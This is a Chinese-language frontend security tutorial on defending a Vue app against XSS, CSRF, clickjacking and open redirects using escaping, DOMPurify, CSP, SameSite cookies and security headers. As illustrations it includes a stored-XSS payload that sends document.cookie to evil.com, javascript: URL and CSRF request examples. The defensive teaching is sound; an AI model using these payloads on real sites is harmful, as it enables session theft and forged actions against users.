前端安全:XSS、CSRF、CSP

1. 前端安全的定位

OWASP Top 10 里前端能涉及的主要是:

前端安全的核心原则

  1. 永远不要信任任何输入(包括后端返回的数据)
  2. 最小权限(能只给 localStorage token 就别给 DOM XSS 权限)
  3. 纵深防御(XSS 防不住时 CSP 兜底,CSP 绕过了 HttpOnly 再拦一层)
  4. 前端不是唯一防线(后端必须独立验证)

Java 对照:类似 Spring Security 的多层 Filter —— 前端只是链条里的一环。


2. XSS:最常见也最危险

XSS = 攻击者在你的页面塞进 JS,以受害用户的身份执行。能干的事:

2.1 三种 XSS

A. 存储型 (Stored) 攻击者的 payload 存在后端,每个访问的用户都中招。

用户 A 在评论区提交: <script>fetch('https://evil.com?c='+document.cookie)</script>
这段文本存进数据库
用户 B / C / D 看到评论 → 浏览器解析执行 → token 被偷

最危险——一次攻击,全站用户受害。

B. 反射型 (Reflected) payload 从 URL 或表单参数反射回页面。

https://yourapp.com/search?q=<script>evil()</script>
页面直接把 q 值显示出来而不转义 → 执行

需要诱骗用户点链接,影响稍小。

C. DOM 型 (DOM-based) 不经过后端,纯前端代码把不可信数据写进 DOM。

const name = new URLSearchParams(location.search).get('name')
document.getElementById('welcome').innerHTML = `Hello, ${name}` // ← 危险

纯前端逻辑造成的。


3. Vue 的默认防护

好消息:Vue 模板里 {{ 插值 }}v-bind 自动转义

<!-- 即使 userInput = '<script>alert(1)</script>' -->
<p>{{ userInput }}</p>
<!-- 渲染出来是文本:&lt;script&gt;alert(1)&lt;/script&gt; -->
<!-- 浏览器显示成字符串,不执行 -->

这就挡掉了 80% 的 XSS。

坏消息:几个能绕过的场景要手动防:

3.1 v-html

<!-- ❌ 直接把字符串当 HTML 渲染 -->
<div v-html="userContent"></div>

什么时候不能用:用户提交的内容(评论、昵称)。 什么时候可以用:来自可信源的 HTML,如你自己的 Markdown 渲染结果、后端做过净化的富文本。

Vue ESLint 规则

'vue/no-v-html': 'warn'

开着这条规则,每个 v-html 都会被标黄,提醒你想清楚。

3.2 :href

<!-- ❌ -->
<a :href="userUrl">点我</a>
<!-- userUrl = 'javascript:alert(1)' → 点击执行 -->

防御:白名单过滤协议。

function safeUrl(url: string): string {
  const ok = /^(https?:\/\/|\/|#|mailto:)/i.test(url)
  return ok ? url : '#'
}

或用 DOMPurifysanitize

3.3 动态组件 <component :is="...">

<!-- ❌ -->
<component :is="userInputComponentName" />

白名单:

const allowed = { NoteCard, UserAvatar, Button }
const Comp = computed(() => allowed[props.name] ?? null)

3.4 v-bind 绑定整个对象

<!-- ❌ 可能把 innerHTML 之类的属性一起注入 -->
<div v-bind="arbitraryObject"></div>

对"来自后端的任意对象"的全量 v-bind,要先过滤允许的键。


4. Markdown 渲染的 XSS 防护

in4vue 用 markdown-it 渲染笔记。默认安全

const md = new MarkdownIt({
  html: false,        // ← 关键:禁用 HTML 标签(默认 false)
  linkify: true,
  breaks: true,
})

html: false 时,用户写的 <script>alert(1)</script> 会被当成字符串转义。

如果必须开 html: true(允许少量 HTML 标签),用 DOMPurify 过一遍:

import DOMPurify from 'dompurify'

const dirty = md.render(source)
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['a', 'strong', 'em', 'code', 'pre', 'ul', 'ol', 'li'],
  ALLOWED_ATTR: ['href', 'title'],
})

规则用白名单,别用黑名单——黑名单总能被绕过(<ScRiPt><iframe srcdoc=...>)。


5. 后端协作:Content-Type 正确

有些 XSS 靠 Content-Type 混淆攻击。fetch('/data.json') 回来是 JSON 还是 HTML?

防御

in4vue 这种前端项目不处理文件上传给其他用户,风险低。但知道有这回事。


6. CSP:内容安全策略

CSP (Content-Security-Policy) 是一个 HTTP 响应头,告诉浏览器:

"这个页面只能加载来自 self + cdn.example.com 的 JS;任何 <script> 内联代码都禁止执行"

即便攻击者把 <script>alert(1)</script> 塞进你的页面,CSP 拦截。XSS 的最后一道防线

6.1 基础配置

Nginx 里加响应头:

add_header Content-Security-Policy "
    default-src 'self';
    script-src 'self' https://cdn.jsdelivr.net;
    style-src 'self' 'unsafe-inline';
    img-src 'self' data: https:;
    font-src 'self' data:;
    connect-src 'self' https://api.example.com https://sentry.io;
    frame-ancestors 'none';
    base-uri 'self';
    form-action 'self';
" always;

指令逐条解释

指令 含义
default-src 所有类型资源的默认策略
script-src JS
style-src CSS
img-src 图片
font-src 字体
connect-src fetch / XHR / WebSocket
frame-ancestors 谁能把我嵌入 iframe(防点击劫持)
base-uri 限制 <base href>
form-action 表单提交目标

常见来源值

6.2 Vite 项目的 CSP 挑战

问题:Element Plus 等组件用动态生成 style,需要 'unsafe-inline' for style。Vue 的 <script setup> 构建产物是外部脚本,不需要 unsafe-inline for script。

in4vue 推荐的平衡策略

default-src 'self';
script-src 'self';                             ← script 严格,不开 unsafe-*
style-src 'self' 'unsafe-inline';              ← style 放宽(Element Plus 需要)
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';

script-src 严格是最重要的——XSS 攻击 99% 靠 <script>eval

6.3 nonce / hash 的严格模式

想彻底禁 'unsafe-inline',给每个合法内联脚本加 nonce:

<script nonce="{{random}}">...</script>
script-src 'self' 'nonce-{{random}}';

代价:需要后端生成每请求唯一的 nonce,SPA 环境复杂。in4vue 不用做——script-src 'self' 已经够了。

6.4 先观察后强制:report-only

上线 CSP 前先用报告模式看看会不会误伤:

add_header Content-Security-Policy-Report-Only "..." always;

浏览器会不阻止但把违规情况发到 report-uri。观察一周没问题再切正式策略。


7. CSRF:借刀杀人

场景

  1. 你登录了 mybank.com,cookie 还在
  2. 你被诱骗打开 evil.com
  3. evil.com 的 JS 发请求:<img src="https://mybank.com/transfer?to=hacker&amount=1000">
  4. 你的浏览器自动带上 mybank 的 cookie → 后端以为是你的正常操作 → 转账成功

关键:CSRF 不需要注入 JS 到 mybank,它利用的是"浏览器对任何站点都会自动带 cookie"。

7.1 现代浏览器的天然防御:SameSite Cookie

Set-Cookie: token=abc; SameSite=Lax

SameSite 三档

Chrome 80+ 默认 Lax。这单个改动就挡住了绝大多数 CSRF 攻击。

7.2 经典防御:CSRF Token

后端为每个用户生成 token,前端必须在请求里带上:

GET /index.html
→ 响应里 <meta name="csrf-token" content="abc123">

POST /api/transfer
→ Header: X-CSRF-TOKEN: abc123

evil.com 没法读你 mybank 页面上的 meta,所以伪造不出这个 token。

Spring Security 默认开启,前端要自动带:

// 先从 cookie 或 meta 读
const csrfToken = document.querySelector('meta[name="csrf-token"]')?.getAttribute('content')

service.interceptors.request.use((config) => {
  if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(config.method?.toUpperCase() ?? '')) {
    config.headers['X-CSRF-TOKEN'] = csrfToken
  }
  return config
})

7.3 bearer token 方式天然免疫

如果你不用 Cookie 鉴权,而是用 Authorization: Bearer xxx

service.interceptors.request.use((config) => {
  config.headers.Authorization = `Bearer ${token}`
  return config
})

evil.com 读不到 localStorage 里的 token(同源策略),也自然带不上。CSRF 不成立——但要防 XSS(XSS 能偷 localStorage)。

in4vue 用的就是 bearer + localStorage,不用专门防 CSRF。但要死死守住 XSS。


8. 敏感数据保护

8.1 localStorage vs httpOnly Cookie

localStorage httpOnly Cookie
XSS 能偷 ✅ 能 ❌ 不能(JS 读不到)
CSRF 风险 ❌ 无 ✅ 有(需 SameSite 或 CSRF Token)
跨域请求自动带 ❌ 需手动 ✅ 自动(withCredentials)
实现成本 需后端配合

选择

8.2 永远不要在前端存的东西

缓存策略:敏感数据用完即删;非敏感的用 sessionStorage(标签页关闭就没)。

8.3 URL 不要带敏感信息

// ❌ token 进了浏览器历史 / 日志 / Referer
router.push(`/callback?token=${token}`)

// ✅ 存 state 里
sessionStorage.setItem('auth_token', token)
router.push('/callback')

9. 点击劫持 (Clickjacking)

场景evil.com 用 iframe 嵌入你的页面,用 CSS 做成透明,诱骗用户点击"看起来无害"的位置,实际点的是你的"删除账号"按钮。

防御:响应头

add_header X-Frame-Options "SAMEORIGIN" always;

或 CSP 的 frame-ancestors 'none'

Vue SPA 默认加上,没代价。


10. 开放重定向

// 登录成功后跳回原页
router.replace(route.query.redirect as string)

漏洞:攻击者发给你 https://in4vue.com/login?redirect=https://evil.com/phishing

登录完你被跳到钓鱼站。

防御:白名单

function isSafeRedirect(url: string): boolean {
  if (!url) return false
  // 只允许站内相对路径
  if (url.startsWith('/') && !url.startsWith('//')) return true
  // 或明确列出的外站
  const safe = ['https://trusted.example.com']
  return safe.some(s => url.startsWith(s))
}

const redirect = route.query.redirect as string
router.replace(isSafeRedirect(redirect) ? redirect : '/')

11. 依赖安全

第三方库是个大坑:

11.1 工具

pnpm audit              # 检查漏洞
pnpm dlx npm-check-updates --deep  # 检查可升级

11.2 自动化

11.3 pnpm-lock.yaml 要提交

锁文件锁定每个依赖的精确版本 + 完整性哈希。别 gitignore 它。CI 必须 --frozen-lockfile 确保和本地一致。


12. 其他响应头清单

加到 Nginx 就好,成本低:

add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;         # 防 MIME 嗅探
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
# CSP 见第 6 节

securityheaders.com 扫一下站点能看到评分。目标 A+。


13. HTTPS 是底线

不仅是数据加密,更是身份验证。明文 HTTP 让中间人能任意改你的页面内容、注入广告、偷 token。

实操


14. 一个典型的"安全上线清单"

做 in4vue 这样的项目上线前过一遍:


15. 实际攻击演示(了解原理)

本地试——在浏览器 DevTools Console 输入:

// 1. 模拟 XSS: 如果这能运行,说明你能被 XSS 偷 token
console.log('LocalStorage token:', localStorage.getItem('in4vue-user'))

// 2. 模拟 CSRF: 在 evil 站上发这个能成功说明后端没防 CSRF
fetch('https://in4vue.example.com/api/note/delete/1', {
  method: 'POST',
  credentials: 'include',
})

开 CSP 后试 1:会被浏览器拦(inline script)——但这只是 DevTools 手动输入,真 XSS 走 <script> 注入是同样被拦。


16. 心智模型

防线分层:

1. 输入端 (用户输入)
   - Vue 默认转义
   - v-html 前 sanitize
   - URL 白名单

2. 存储端 (state / storage)
   - 不存敏感
   - httpOnly / localStorage 选一
   - token 短生命周期 + 刷新

3. 传输端 (网络)
   - HTTPS + HSTS
   - CORS 白名单
   - Bearer / SameSite Cookie

4. 浏览器执行端
   - CSP 拦 XSS 兜底
   - X-Frame-Options 防嵌套
   - 响应头全配齐

5. 监控端
   - Sentry 捕异常
   - WAF 拦扫描(企业级)
   - 依赖漏洞自动扫

没有万无一失,只有"攻击成本 > 攻击收益"。前端做到每一层都有基本防护,就够挡住 99% 的脚本小子。


小练习

  1. 打开 in4vue,在 Console 查 localStorage 看存了什么
  2. 写一段 Markdown # Title <script>alert(1)</script>,确认渲染后不执行
  3. 给 Nginx 配置加上 CSP 和其他安全头,用 securityheaders.com 跑分
  4. 故意写一个不安全的 redirect 跳转,让后端/前端任一处过滤它
  5. 装 Dependabot,看下周能收到什么漏洞 PR

延伸阅读